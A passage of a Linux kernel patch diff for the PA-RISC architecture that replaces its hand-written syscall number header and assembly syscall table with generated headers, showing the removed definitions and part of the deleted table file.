-#define __NR_execve              (__NR_Linux + 11)
-#define __NR_chdir               (__NR_Linux + 12)
-#define __NR_time                (__NR_Linux + 13)
-#define __NR_mknod               (__NR_Linux + 14)
-#define __NR_chmod               (__NR_Linux + 15)
-#define __NR_lchown              (__NR_Linux + 16)
-#define __NR_socket              (__NR_Linux + 17)
-#define __NR_stat                (__NR_Linux + 18)
-#define __NR_lseek               (__NR_Linux + 19)
-#define __NR_getpid              (__NR_Linux + 20)
-#define __NR_mount               (__NR_Linux + 21)
-#define __NR_bind                (__NR_Linux + 22)
-#define __NR_setuid              (__NR_Linux + 23)
-#define __NR_getuid              (__NR_Linux + 24)
-#define __NR_stime               (__NR_Linux + 25)
-#define __NR_ptrace              (__NR_Linux + 26)
-#define __NR_alarm               (__NR_Linux + 27)
-#define __NR_fstat               (__NR_Linux + 28)
-#define __NR_pause               (__NR_Linux + 29)
-#define __NR_utime               (__NR_Linux + 30)
-#define __NR_connect             (__NR_Linux + 31)
-#define __NR_listen              (__NR_Linux + 32)
-#define __NR_access              (__NR_Linux + 33)
-#define __NR_nice                (__NR_Linux + 34)
-#define __NR_accept              (__NR_Linux + 35)
-#define __NR_sync                (__NR_Linux + 36)
-#define __NR_kill                (__NR_Linux + 37)
-#define __NR_rename              (__NR_Linux + 38)
-#define __NR_mkdir               (__NR_Linux + 39)
-#define __NR_rmdir               (__NR_Linux + 40)
-#define __NR_dup                 (__NR_Linux + 41)
-#define __NR_pipe                (__NR_Linux + 42)
-#define __NR_times               (__NR_Linux + 43)
-#define __NR_getsockname         (__NR_Linux + 44)
-#define __NR_brk                 (__NR_Linux + 45)
-#define __NR_setgid              (__NR_Linux + 46)
-#define __NR_getgid              (__NR_Linux + 47)
-#define __NR_signal              (__NR_Linux + 48)
-#define __NR_geteuid             (__NR_Linux + 49)
-#define __NR_getegid             (__NR_Linux + 50)
-#define __NR_acct                (__NR_Linux + 51)
-#define __NR_umount2             (__NR_Linux + 52)
-#define __NR_getpeername         (__NR_Linux + 53)
-#define __NR_ioctl               (__NR_Linux + 54)
-#define __NR_fcntl               (__NR_Linux + 55)
-#define __NR_socketpair          (__NR_Linux + 56)
-#define __NR_setpgid             (__NR_Linux + 57)
-#define __NR_send                (__NR_Linux + 58)
-#define __NR_uname               (__NR_Linux + 59)
-#define __NR_umask               (__NR_Linux + 60)
-#define __NR_chroot              (__NR_Linux + 61)
-#define __NR_ustat               (__NR_Linux + 62)
-#define __NR_dup2                (__NR_Linux + 63)
-#define __NR_getppid             (__NR_Linux + 64)
-#define __NR_getpgrp             (__NR_Linux + 65)
-#define __NR_setsid              (__NR_Linux + 66)
-#define __NR_pivot_root          (__NR_Linux + 67)
-#define __NR_sgetmask            (__NR_Linux + 68)
-#define __NR_ssetmask            (__NR_Linux + 69)
-#define __NR_setreuid            (__NR_Linux + 70)
-#define __NR_setregid            (__NR_Linux + 71)
-#define __NR_mincore             (__NR_Linux + 72)
-#define __NR_sigpending          (__NR_Linux + 73)
-#define __NR_sethostname         (__NR_Linux + 74)
-#define __NR_setrlimit           (__NR_Linux + 75)
-#define __NR_getrlimit           (__NR_Linux + 76)
-#define __NR_getrusage           (__NR_Linux + 77)
-#define __NR_gettimeofday        (__NR_Linux + 78)
-#define __NR_settimeofday        (__NR_Linux + 79)
-#define __NR_getgroups           (__NR_Linux + 80)
-#define __NR_setgroups           (__NR_Linux + 81)
-#define __NR_sendto              (__NR_Linux + 82)
-#define __NR_symlink             (__NR_Linux + 83)
-#define __NR_lstat               (__NR_Linux + 84)
-#define __NR_readlink            (__NR_Linux + 85)
-#define __NR_uselib              (__NR_Linux + 86)
-#define __NR_swapon              (__NR_Linux + 87)
-#define __NR_reboot              (__NR_Linux + 88)
-#define __NR_mmap2               (__NR_Linux + 89)
-#define __NR_mmap                (__NR_Linux + 90)
-#define __NR_munmap              (__NR_Linux + 91)
-#define __NR_truncate            (__NR_Linux + 92)
-#define __NR_ftruncate           (__NR_Linux + 93)
-#define __NR_fchmod              (__NR_Linux + 94)
-#define __NR_fchown              (__NR_Linux + 95)
-#define __NR_getpriority         (__NR_Linux + 96)
-#define __NR_setpriority         (__NR_Linux + 97)
-#define __NR_recv                (__NR_Linux + 98)
-#define __NR_statfs              (__NR_Linux + 99)
-#define __NR_fstatfs            (__NR_Linux + 100)
-#define __NR_stat64             (__NR_Linux + 101)
-/* #define __NR_socketcall         (__NR_Linux + 102) */
-#define __NR_syslog             (__NR_Linux + 103)
-#define __NR_setitimer          (__NR_Linux + 104)
-#define __NR_getitimer          (__NR_Linux + 105)
-#define __NR_capget             (__NR_Linux + 106)
-#define __NR_capset             (__NR_Linux + 107)
-#define __NR_pread64            (__NR_Linux + 108)
-#define __NR_pwrite64           (__NR_Linux + 109)
-#define __NR_getcwd             (__NR_Linux + 110)
-#define __NR_vhangup            (__NR_Linux + 111)
-#define __NR_fstat64            (__NR_Linux + 112)
-#define __NR_vfork              (__NR_Linux + 113)
-#define __NR_wait4              (__NR_Linux + 114)
-#define __NR_swapoff            (__NR_Linux + 115)
-#define __NR_sysinfo            (__NR_Linux + 116)
-#define __NR_shutdown           (__NR_Linux + 117)
-#define __NR_fsync              (__NR_Linux + 118)
-#define __NR_madvise            (__NR_Linux + 119)
-#define __NR_clone              (__NR_Linux + 120)
-#define __NR_setdomainname      (__NR_Linux + 121)
-#define __NR_sendfile           (__NR_Linux + 122)
-#define __NR_recvfrom           (__NR_Linux + 123)
-#define __NR_adjtimex           (__NR_Linux + 124)
-#define __NR_mprotect           (__NR_Linux + 125)
-#define __NR_sigprocmask        (__NR_Linux + 126)
-#define __NR_create_module      (__NR_Linux + 127) /* not used */
-#define __NR_init_module        (__NR_Linux + 128)
-#define __NR_delete_module      (__NR_Linux + 129)
-#define __NR_get_kernel_syms    (__NR_Linux + 130) /* not used */
-#define __NR_quotactl           (__NR_Linux + 131)
-#define __NR_getpgid            (__NR_Linux + 132)
-#define __NR_fchdir             (__NR_Linux + 133)
-#define __NR_bdflush            (__NR_Linux + 134)
-#define __NR_sysfs              (__NR_Linux + 135)
-#define __NR_personality        (__NR_Linux + 136)
-#define __NR_afs_syscall        (__NR_Linux + 137) /* not used */
-#define __NR_setfsuid           (__NR_Linux + 138)
-#define __NR_setfsgid           (__NR_Linux + 139)
-#define __NR__llseek            (__NR_Linux + 140)
-#define __NR_getdents           (__NR_Linux + 141)
-#define __NR__newselect         (__NR_Linux + 142)
-#define __NR_flock              (__NR_Linux + 143)
-#define __NR_msync              (__NR_Linux + 144)
-#define __NR_readv              (__NR_Linux + 145)
-#define __NR_writev             (__NR_Linux + 146)
-#define __NR_getsid             (__NR_Linux + 147)
-#define __NR_fdatasync          (__NR_Linux + 148)
-#define __NR__sysctl            (__NR_Linux + 149)
-#define __NR_mlock              (__NR_Linux + 150)
-#define __NR_munlock            (__NR_Linux + 151)
-#define __NR_mlockall           (__NR_Linux + 152)
-#define __NR_munlockall         (__NR_Linux + 153)
-#define __NR_sched_setparam             (__NR_Linux + 154)
-#define __NR_sched_getparam             (__NR_Linux + 155)
-#define __NR_sched_setscheduler         (__NR_Linux + 156)
-#define __NR_sched_getscheduler         (__NR_Linux + 157)
-#define __NR_sched_yield                (__NR_Linux + 158)
-#define __NR_sched_get_priority_max     (__NR_Linux + 159)
-#define __NR_sched_get_priority_min     (__NR_Linux + 160)
-#define __NR_sched_rr_get_interval      (__NR_Linux + 161)
-#define __NR_nanosleep          (__NR_Linux + 162)
-#define __NR_mremap             (__NR_Linux + 163)
-#define __NR_setresuid          (__NR_Linux + 164)
-#define __NR_getresuid          (__NR_Linux + 165)
-#define __NR_sigaltstack        (__NR_Linux + 166)
-#define __NR_query_module       (__NR_Linux + 167) /* not used */
-#define __NR_poll               (__NR_Linux + 168)
-#define __NR_nfsservctl         (__NR_Linux + 169) /* not used */
-#define __NR_setresgid          (__NR_Linux + 170)
-#define __NR_getresgid          (__NR_Linux + 171)
-#define __NR_prctl              (__NR_Linux + 172)
-#define __NR_rt_sigreturn       (__NR_Linux + 173)
-#define __NR_rt_sigaction       (__NR_Linux + 174)
-#define __NR_rt_sigprocmask     (__NR_Linux + 175)
-#define __NR_rt_sigpending      (__NR_Linux + 176)
-#define __NR_rt_sigtimedwait    (__NR_Linux + 177)
-#define __NR_rt_sigqueueinfo    (__NR_Linux + 178)
-#define __NR_rt_sigsuspend      (__NR_Linux + 179)
-#define __NR_chown              (__NR_Linux + 180)
-#define __NR_setsockopt         (__NR_Linux + 181)
-#define __NR_getsockopt         (__NR_Linux + 182)
-#define __NR_sendmsg            (__NR_Linux + 183)
-#define __NR_recvmsg            (__NR_Linux + 184)
-#define __NR_semop              (__NR_Linux + 185)
-#define __NR_semget             (__NR_Linux + 186)
-#define __NR_semctl             (__NR_Linux + 187)
-#define __NR_msgsnd             (__NR_Linux + 188)
-#define __NR_msgrcv             (__NR_Linux + 189)
-#define __NR_msgget             (__NR_Linux + 190)
-#define __NR_msgctl             (__NR_Linux + 191)
-#define __NR_shmat              (__NR_Linux + 192)
-#define __NR_shmdt              (__NR_Linux + 193)
-#define __NR_shmget             (__NR_Linux + 194)
-#define __NR_shmctl             (__NR_Linux + 195)
-#define __NR_getpmsg            (__NR_Linux + 196) /* not used */
-#define __NR_putpmsg            (__NR_Linux + 197) /* not used */
-#define __NR_lstat64            (__NR_Linux + 198)
-#define __NR_truncate64         (__NR_Linux + 199)
-#define __NR_ftruncate64        (__NR_Linux + 200)
-#define __NR_getdents64         (__NR_Linux + 201)
-#define __NR_fcntl64            (__NR_Linux + 202)
-#define __NR_attrctl            (__NR_Linux + 203) /* not used */
-#define __NR_acl_get            (__NR_Linux + 204) /* not used */
-#define __NR_acl_set            (__NR_Linux + 205) /* not used */
-#define __NR_gettid             (__NR_Linux + 206)
-#define __NR_readahead          (__NR_Linux + 207)
-#define __NR_tkill              (__NR_Linux + 208)
-#define __NR_sendfile64         (__NR_Linux + 209)
-#define __NR_futex              (__NR_Linux + 210)
-#define __NR_sched_setaffinity  (__NR_Linux + 211)
-#define __NR_sched_getaffinity  (__NR_Linux + 212)
-#define __NR_set_thread_area    (__NR_Linux + 213) /* not used */
-#define __NR_get_thread_area    (__NR_Linux + 214) /* not used */
-#define __NR_io_setup           (__NR_Linux + 215)
-#define __NR_io_destroy         (__NR_Linux + 216)
-#define __NR_io_getevents       (__NR_Linux + 217)
-#define __NR_io_submit          (__NR_Linux + 218)
-#define __NR_io_cancel          (__NR_Linux + 219)
-#define __NR_alloc_hugepages    (__NR_Linux + 220) /* not used */
-#define __NR_free_hugepages     (__NR_Linux + 221) /* not used */
-#define __NR_exit_group         (__NR_Linux + 222)
-#define __NR_lookup_dcookie     (__NR_Linux + 223)
-#define __NR_epoll_create       (__NR_Linux + 224)
-#define __NR_epoll_ctl          (__NR_Linux + 225)
-#define __NR_epoll_wait         (__NR_Linux + 226)
-#define __NR_remap_file_pages   (__NR_Linux + 227)
-#define __NR_semtimedop         (__NR_Linux + 228)
-#define __NR_mq_open            (__NR_Linux + 229)
-#define __NR_mq_unlink          (__NR_Linux + 230)
-#define __NR_mq_timedsend       (__NR_Linux + 231)
-#define __NR_mq_timedreceive    (__NR_Linux + 232)
-#define __NR_mq_notify          (__NR_Linux + 233)
-#define __NR_mq_getsetattr      (__NR_Linux + 234)
-#define __NR_waitid		(__NR_Linux + 235)
-#define __NR_fadvise64_64	(__NR_Linux + 236)
-#define __NR_set_tid_address	(__NR_Linux + 237)
-#define __NR_setxattr		(__NR_Linux + 238)
-#define __NR_lsetxattr		(__NR_Linux + 239)
-#define __NR_fsetxattr		(__NR_Linux + 240)
-#define __NR_getxattr		(__NR_Linux + 241)
-#define __NR_lgetxattr		(__NR_Linux + 242)
-#define __NR_fgetxattr		(__NR_Linux + 243)
-#define __NR_listxattr		(__NR_Linux + 244)
-#define __NR_llistxattr		(__NR_Linux + 245)
-#define __NR_flistxattr		(__NR_Linux + 246)
-#define __NR_removexattr	(__NR_Linux + 247)
-#define __NR_lremovexattr	(__NR_Linux + 248)
-#define __NR_fremovexattr	(__NR_Linux + 249)
-#define __NR_timer_create	(__NR_Linux + 250)
-#define __NR_timer_settime	(__NR_Linux + 251)
-#define __NR_timer_gettime	(__NR_Linux + 252)
-#define __NR_timer_getoverrun	(__NR_Linux + 253)
-#define __NR_timer_delete	(__NR_Linux + 254)
-#define __NR_clock_settime	(__NR_Linux + 255)
-#define __NR_clock_gettime	(__NR_Linux + 256)
-#define __NR_clock_getres	(__NR_Linux + 257)
-#define __NR_clock_nanosleep	(__NR_Linux + 258)
-#define __NR_tgkill		(__NR_Linux + 259)
-#define __NR_mbind		(__NR_Linux + 260)
-#define __NR_get_mempolicy	(__NR_Linux + 261)
-#define __NR_set_mempolicy	(__NR_Linux + 262)
-#define __NR_vserver		(__NR_Linux + 263) /* not used */
-#define __NR_add_key		(__NR_Linux + 264)
-#define __NR_request_key	(__NR_Linux + 265)
-#define __NR_keyctl		(__NR_Linux + 266)
-#define __NR_ioprio_set		(__NR_Linux + 267)
-#define __NR_ioprio_get		(__NR_Linux + 268)
-#define __NR_inotify_init	(__NR_Linux + 269)
-#define __NR_inotify_add_watch	(__NR_Linux + 270)
-#define __NR_inotify_rm_watch	(__NR_Linux + 271)
-#define __NR_migrate_pages	(__NR_Linux + 272)
-#define __NR_pselect6		(__NR_Linux + 273)
-#define __NR_ppoll		(__NR_Linux + 274)
-#define __NR_openat		(__NR_Linux + 275)
-#define __NR_mkdirat		(__NR_Linux + 276)
-#define __NR_mknodat		(__NR_Linux + 277)
-#define __NR_fchownat		(__NR_Linux + 278)
-#define __NR_futimesat		(__NR_Linux + 279)
-#define __NR_fstatat64		(__NR_Linux + 280)
-#define __NR_unlinkat		(__NR_Linux + 281)
-#define __NR_renameat		(__NR_Linux + 282)
-#define __NR_linkat		(__NR_Linux + 283)
-#define __NR_symlinkat		(__NR_Linux + 284)
-#define __NR_readlinkat		(__NR_Linux + 285)
-#define __NR_fchmodat		(__NR_Linux + 286)
-#define __NR_faccessat		(__NR_Linux + 287)
-#define __NR_unshare		(__NR_Linux + 288)
-#define __NR_set_robust_list	(__NR_Linux + 289)
-#define __NR_get_robust_list	(__NR_Linux + 290)
-#define __NR_splice		(__NR_Linux + 291)
-#define __NR_sync_file_range	(__NR_Linux + 292)
-#define __NR_tee		(__NR_Linux + 293)
-#define __NR_vmsplice		(__NR_Linux + 294)
-#define __NR_move_pages		(__NR_Linux + 295)
-#define __NR_getcpu		(__NR_Linux + 296)
-#define __NR_epoll_pwait	(__NR_Linux + 297)
-#define __NR_statfs64		(__NR_Linux + 298)
-#define __NR_fstatfs64		(__NR_Linux + 299)
-#define __NR_kexec_load		(__NR_Linux + 300)
-#define __NR_utimensat		(__NR_Linux + 301)
-#define __NR_signalfd		(__NR_Linux + 302)
-#define __NR_timerfd		(__NR_Linux + 303) /* not used */
-#define __NR_eventfd		(__NR_Linux + 304)
-#define __NR_fallocate		(__NR_Linux + 305)
-#define __NR_timerfd_create	(__NR_Linux + 306)
-#define __NR_timerfd_settime	(__NR_Linux + 307)
-#define __NR_timerfd_gettime	(__NR_Linux + 308)
-#define __NR_signalfd4		(__NR_Linux + 309)
-#define __NR_eventfd2		(__NR_Linux + 310)
-#define __NR_epoll_create1	(__NR_Linux + 311)
-#define __NR_dup3		(__NR_Linux + 312)
-#define __NR_pipe2		(__NR_Linux + 313)
-#define __NR_inotify_init1	(__NR_Linux + 314)
-#define __NR_preadv		(__NR_Linux + 315)
-#define __NR_pwritev		(__NR_Linux + 316)
-#define __NR_rt_tgsigqueueinfo	(__NR_Linux + 317)
-#define __NR_perf_event_open	(__NR_Linux + 318)
-#define __NR_recvmmsg		(__NR_Linux + 319)
-#define __NR_accept4		(__NR_Linux + 320)
-#define __NR_prlimit64		(__NR_Linux + 321)
-#define __NR_fanotify_init	(__NR_Linux + 322)
-#define __NR_fanotify_mark	(__NR_Linux + 323)
-#define __NR_clock_adjtime	(__NR_Linux + 324)
-#define __NR_name_to_handle_at	(__NR_Linux + 325)
-#define __NR_open_by_handle_at	(__NR_Linux + 326)
-#define __NR_syncfs		(__NR_Linux + 327)
-#define __NR_setns		(__NR_Linux + 328)
-#define __NR_sendmmsg		(__NR_Linux + 329)
-#define __NR_process_vm_readv	(__NR_Linux + 330)
-#define __NR_process_vm_writev	(__NR_Linux + 331)
-#define __NR_kcmp		(__NR_Linux + 332)
-#define __NR_finit_module	(__NR_Linux + 333)
-#define __NR_sched_setattr	(__NR_Linux + 334)
-#define __NR_sched_getattr	(__NR_Linux + 335)
-#define __NR_utimes		(__NR_Linux + 336)
-#define __NR_renameat2		(__NR_Linux + 337)
-#define __NR_seccomp		(__NR_Linux + 338)
-#define __NR_getrandom		(__NR_Linux + 339)
-#define __NR_memfd_create	(__NR_Linux + 340)
-#define __NR_bpf		(__NR_Linux + 341)
-#define __NR_execveat		(__NR_Linux + 342)
-#define __NR_membarrier		(__NR_Linux + 343)
-#define __NR_userfaultfd	(__NR_Linux + 344)
-#define __NR_mlock2		(__NR_Linux + 345)
-#define __NR_copy_file_range	(__NR_Linux + 346)
-#define __NR_preadv2		(__NR_Linux + 347)
-#define __NR_pwritev2		(__NR_Linux + 348)
-#define __NR_statx		(__NR_Linux + 349)
-#define __NR_io_pgetevents	(__NR_Linux + 350)
-
-#ifdef __KERNEL__
-#define __NR_syscalls           351
+#define __NR_Linux           0
+#ifdef __LP64__
+#include <asm/unistd_64.h>
+#else
+#include <asm/unistd_32.h>
 #endif
 
-#define LINUX_GATEWAY_ADDR      0x100
+#define LINUX_GATEWAY_ADDR   0x100
 
 #endif /* _UAPI_ASM_PARISC_UNISTD_H_ */
diff --git a/arch/parisc/kernel/syscall.S b/arch/parisc/kernel/syscall.S
index f453997..f899d43 100644
--- a/arch/parisc/kernel/syscall.S
+++ b/arch/parisc/kernel/syscall.S
@@ -923,17 +923,21 @@ ENTRY(lws_table)
 END(lws_table)
 	/* End of lws table */
 
+#define __SYSCALL(nr, entry, nargs) ASM_ULONG_INSN entry
 	.align 8
 ENTRY(sys_call_table)
 	.export sys_call_table,data
-#include "syscall_table.S"
+#ifdef CONFIG_64BIT
+#include <asm/syscall_table_c32.h>   /* Compat syscalls */
+#else
+#include <asm/syscall_table_32.h>    /* 32-bit native syscalls */
+#endif
 END(sys_call_table)
 
 #ifdef CONFIG_64BIT
 	.align 8
 ENTRY(sys_call_table64)
-#define SYSCALL_TABLE_64BIT
-#include "syscall_table.S"
+#include <asm/syscall_table_64.h>    /* 64-bit native syscalls */
 END(sys_call_table64)
 #endif
 
diff --git a/arch/parisc/kernel/syscall_table.S b/arch/parisc/kernel/syscall_table.S
deleted file mode 100644
index fe3f2a4..0000000
--- a/arch/parisc/kernel/syscall_table.S
+++ /dev/null
@@ -1,459 +0,0 @@
-/*    System Call Table
- *
- *    Copyright (C) 1999-2004 Matthew Wilcox <willy at parisc-linux.org>
- *    Copyright (C) 2000-2001 John Marvin <jsm at parisc-linux.org>
- *    Copyright (C) 2000 Alan Modra <amodra at parisc-linux.org>
- *    Copyright (C) 2000-2003 Paul Bame <bame at parisc-linux.org>
- *    Copyright (C) 2000 Philipp Rumpf <prumpf with tux.org>
- *    Copyright (C) 2000 Michael Ang <mang with subcarrier.org>
- *    Copyright (C) 2000 David Huggins-Daines <dhd with pobox.org>
- *    Copyright (C) 2000 Grant Grundler <grundler at parisc-linux.org>
- *    Copyright (C) 2001 Richard Hirst <rhirst with parisc-linux.org>
- *    Copyright (C) 2001-2002 Ryan Bradetich <rbrad at parisc-linux.org>
- *    Copyright (C) 2001-2007 Helge Deller <deller at parisc-linux.org>
- *    Copyright (C) 2000-2001 Thomas Bogendoerfer <tsbogend at parisc-linux.org>
- *    Copyright (C) 2002 Randolph Chung <tausq with parisc-linux.org>
- *    Copyright (C) 2005-2006 Kyle McMartin <kyle at parisc-linux.org>
- *
- *    This program is free software; you can redistribute it and/or modify
- *    it under the terms of the GNU General Public License as published by
- *    the Free Software Foundation; either version 2 of the License, or
- *    (at your option) any later version.
- *
- *    This program is distributed in the hope that it will be useful,
- *    but WITHOUT ANY WARRANTY; without even the implied warranty of
- *    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *    GNU General Public License for more details.
- *
- *    You should have received a copy of the GNU General Public License
- *    along with this program; if not, write to the Free Software
- *    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA
- */
-
-#if defined(CONFIG_64BIT) && !defined(SYSCALL_TABLE_64BIT)
-/* Use ENTRY_SAME for 32-bit syscalls which are the same on wide and
- * narrow palinux.  Use ENTRY_DIFF for those where a 32-bit specific
- * implementation is required on wide palinux.  Use ENTRY_COMP where
- * the compatibility layer has a useful 32-bit implementation.
- */
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys32_##_name_
-#define ENTRY_UHOH(_name_) .dword sys32_##unimplemented
-#define ENTRY_OURS(_name_) .dword parisc_##_name_
-#define ENTRY_COMP(_name_) .dword compat_sys_##_name_
-#elif defined(CONFIG_64BIT) && defined(SYSCALL_TABLE_64BIT)
-#define ENTRY_SAME(_name_) .dword sys_##_name_
-#define ENTRY_DIFF(_name_) .dword sys_##_name_
-#define ENTRY_UHOH(_name_) .dword sys_##_name_
-#define ENTRY_OURS(_name_) .dword sys_##_name_
-#define ENTRY_COMP(_name_) .dword sys_##_name_
-#else
-#define ENTRY_SAME(_name_) .word sys_##_name_
-#define ENTRY_DIFF(_name_) .word sys_##_name_
-#define ENTRY_UHOH(_name_) .word sys_##_name_
-#define ENTRY_OURS(_name_) .word parisc_##_name_
-#define ENTRY_COMP(_name_) .word sys_##_name_
-#endif
-
-90:	ENTRY_SAME(restart_syscall)	/* 0 */
-91:	ENTRY_SAME(exit)
-	ENTRY_SAME(fork_wrapper)
-	ENTRY_SAME(read)
-	ENTRY_SAME(write)
-	ENTRY_COMP(open)		/* 5 */
-	ENTRY_SAME(close)
-	ENTRY_SAME(waitpid)
-	ENTRY_SAME(creat)
-	ENTRY_SAME(link)
-	ENTRY_SAME(unlink)		/* 10 */
-	ENTRY_COMP(execve)
-	ENTRY_SAME(chdir)
-	/* See comments in kernel/time.c!!! Maybe we don't need this? */
-	ENTRY_COMP(time)
-	ENTRY_SAME(mknod)
-	ENTRY_SAME(chmod)		/* 15 */
-	ENTRY_SAME(lchown)
-	ENTRY_SAME(socket)
-	/* struct stat is MAYBE identical wide and narrow ?? */
-	ENTRY_COMP(newstat)
-	ENTRY_COMP(lseek)
-	ENTRY_SAME(getpid)		/* 20 */
-	/* the 'void * data' parameter may need re-packing in wide */
-	ENTRY_COMP(mount)
-	/* concerned about struct sockaddr in wide/narrow */
-	/* ---> I think sockaddr is OK unless the compiler packs the struct */
-	/*      differently to align the char array */
-	ENTRY_SAME(bind)
-	ENTRY_SAME(setuid)
-	ENTRY_SAME(getuid)
-	ENTRY_COMP(stime)		/* 25 */
-	ENTRY_COMP(ptrace)
-	ENTRY_SAME(alarm)
-	/* see stat comment */
-	ENTRY_COMP(newfstat)
-	ENTRY_SAME(pause)
-	/* struct utimbuf uses time_t which might vary */
-	ENTRY_COMP(utime)		/* 30 */
-	/* struct sockaddr... */
-	ENTRY_SAME(connect)
-	ENTRY_SAME(listen)
-	ENTRY_SAME(access)
-	ENTRY_SAME(nice)
-	/* struct sockaddr... */
-	ENTRY_SAME(accept)		/* 35 */
-	ENTRY_SAME(sync)
-	ENTRY_SAME(kill)
-	ENTRY_SAME(rename)
-	ENTRY_SAME(mkdir)
-	ENTRY_SAME(rmdir)		/* 40 */
-	ENTRY_SAME(dup)
-	ENTRY_SAME(pipe)
-	ENTRY_COMP(times)
-	/* struct sockaddr... */
-	ENTRY_SAME(getsockname)
-	/* it seems possible brk() could return a >4G pointer... */
-	ENTRY_SAME(brk)			/* 45 */
-	ENTRY_SAME(setgid)
-	ENTRY_SAME(getgid)
-	ENTRY_SAME(signal)
-	ENTRY_SAME(geteuid)
-	ENTRY_SAME(getegid)		/* 50 */
-	ENTRY_SAME(acct)
-	ENTRY_SAME(umount)
-	/* struct sockaddr... */
-	ENTRY_SAME(getpeername)
-	ENTRY_COMP(ioctl)
-	ENTRY_COMP(fcntl)		/* 55 */
-	ENTRY_SAME(socketpair)
-	ENTRY_SAME(setpgid)
-	ENTRY_SAME(send)
-	ENTRY_SAME(newuname)
-	ENTRY_SAME(umask)		/* 60 */
-	ENTRY_SAME(chroot)
-	ENTRY_COMP(ustat)
-	ENTRY_SAME(dup2)
-	ENTRY_SAME(getppid)
-	ENTRY_SAME(getpgrp)		/* 65 */
-	ENTRY_SAME(setsid)
-	ENTRY_SAME(pivot_root)
-	/* I don't like this */
-	ENTRY_UHOH(sgetmask)
-	ENTRY_UHOH(ssetmask)
-	ENTRY_SAME(setreuid)		/* 70 */
-	ENTRY_SAME(setregid)
-	ENTRY_SAME(mincore)
-	ENTRY_COMP(sigpending)
-	ENTRY_SAME(sethostname)
-	/* Following 3 have linux-common-code structs containing longs -( */
-	ENTRY_COMP(setrlimit)		/* 75 */
-	ENTRY_COMP(getrlimit)
-	ENTRY_COMP(getrusage)
-	/* struct timeval and timezone are maybe?? consistent wide and narrow */
-	ENTRY_COMP(gettimeofday)
-	ENTRY_COMP(settimeofday)
-	ENTRY_SAME(getgroups)		/* 80 */
-	ENTRY_SAME(setgroups)
-	/* struct socketaddr... */
-	ENTRY_SAME(sendto)
-	ENTRY_SAME(symlink)
-	/* see stat comment */
-	ENTRY_COMP(newlstat)
-	ENTRY_SAME(readlink)		/* 85 */
-	ENTRY_SAME(ni_syscall)	/* was uselib */
-	ENTRY_SAME(swapon)
-	ENTRY_SAME(reboot)
-	ENTRY_SAME(mmap2)
-	ENTRY_SAME(mmap)		/* 90 */
-	ENTRY_SAME(munmap)
-	ENTRY_COMP(truncate)
-	ENTRY_COMP(ftruncate)
-	ENTRY_SAME(fchmod)
-	ENTRY_SAME(fchown)		/* 95 */
-	ENTRY_SAME(getpriority)
-	ENTRY_SAME(setpriority)
-	ENTRY_SAME(recv)
-	ENTRY_COMP(statfs)
-	ENTRY_COMP(fstatfs)		/* 100 */
-	ENTRY_SAME(stat64)
-	ENTRY_SAME(ni_syscall)	/* was socketcall */
-	ENTRY_SAME(syslog)
-	/* even though manpage says struct timeval contains longs, ours has
-	 * time_t and suseconds_t -- both of which are safe wide/narrow */
-	ENTRY_COMP(setitimer)
-	ENTRY_COMP(getitimer)		/* 105 */
-	ENTRY_SAME(capget)
-	ENTRY_SAME(capset)
-	ENTRY_OURS(pread64)
-	ENTRY_OURS(pwrite64)
-	ENTRY_SAME(getcwd)		/* 110 */
-	ENTRY_SAME(vhangup)
-	ENTRY_SAME(fstat64)
-	ENTRY_SAME(vfork_wrapper)
-	/* struct rusage contains longs... */
-	ENTRY_COMP(wait4)
-	ENTRY_SAME(swapoff)		/* 115 */
-	ENTRY_COMP(sysinfo)
-	ENTRY_SAME(shutdown)
-	ENTRY_SAME(fsync)
-	ENTRY_SAME(madvise)
-	ENTRY_SAME(clone_wrapper)	/* 120 */
-	ENTRY_SAME(setdomainname)
-	ENTRY_COMP(sendfile)
-	/* struct sockaddr... */
-	ENTRY_SAME(recvfrom)
-	/* struct timex contains longs */
-	ENTRY_COMP(adjtimex)
-	ENTRY_SAME(mprotect)		/* 125 */
-	/* old_sigset_t forced to 32 bits.  Beware glibc sigset_t */
-	ENTRY_COMP(sigprocmask)
-	ENTRY_SAME(ni_syscall)	/* create_module */
-	ENTRY_SAME(init_module)
-	ENTRY_SAME(delete_module)
-	ENTRY_SAME(ni_syscall)		/* 130: get_kernel_syms */
-	/* time_t inside struct dqblk */
-	ENTRY_SAME(quotactl)
-	ENTRY_SAME(getpgid)
-	ENTRY_SAME(fchdir)
-	ENTRY_SAME(bdflush)
-	ENTRY_SAME(sysfs)		/* 135 */
-	ENTRY_OURS(personality)
-	ENTRY_SAME(ni_syscall)	/* for afs_syscall */
-	ENTRY_SAME(setfsuid)
-	ENTRY_SAME(setfsgid)
-	/* I think this might work */
-	ENTRY_SAME(llseek)		/* 140 */
-	ENTRY_COMP(getdents)
-	/* it is POSSIBLE that select will be OK because even though fd_set
-	 * contains longs, the macros and sizes are clever. */
-	ENTRY_COMP(select)
-	ENTRY_SAME(flock)
-	ENTRY_SAME(msync)
-	/* struct iovec contains pointers */
-	ENTRY_COMP(readv)		/* 145 */
-	ENTRY_COMP(writev)
-	ENTRY_SAME(getsid)
-	ENTRY_SAME(fdatasync)
-	/* struct __sysctl_args is a mess */
-	ENTRY_COMP(sysctl)
-	ENTRY_SAME(mlock)		/* 150 */
-	ENTRY_SAME(munlock)
-	ENTRY_SAME(mlockall)
-	ENTRY_SAME(munlockall)
-	/* struct sched_param is ok for now */
-	ENTRY_SAME(sched_setparam)
-	ENTRY_SAME(sched_getparam)	/* 155 */
-	ENTRY_SAME(sched_setscheduler)
-	ENTRY_SAME(sched_getscheduler)
-	ENTRY_SAME(sched_yield)
-	ENTRY_SAME(sched_get_priority_max)
-	ENTRY_SAME(sched_get_priority_min)	/* 160 */
-	ENTRY_COMP(sched_rr_get_interval)
-	ENTRY_COMP(nanosleep)
-	ENTRY_SAME(mremap)
-	ENTRY_SAME(setresuid)
-	ENTRY_SAME(getresuid)		/* 165 */
-	ENTRY_COMP(sigaltstack)
-	ENTRY_SAME(ni_syscall)		/* query_module */
-	ENTRY_SAME(poll)
-	/* structs contain pointers and an in_addr... */
-	ENTRY_SAME(ni_syscall)		/* was nfsservctl */
-	ENTRY_SAME(setresgid)		/* 170 */
-	ENTRY_SAME(getresgid)
-	ENTRY_SAME(prctl)
-	/* signals need a careful review */
-	ENTRY_SAME(rt_sigreturn_wrapper)
-	ENTRY_COMP(rt_sigaction)
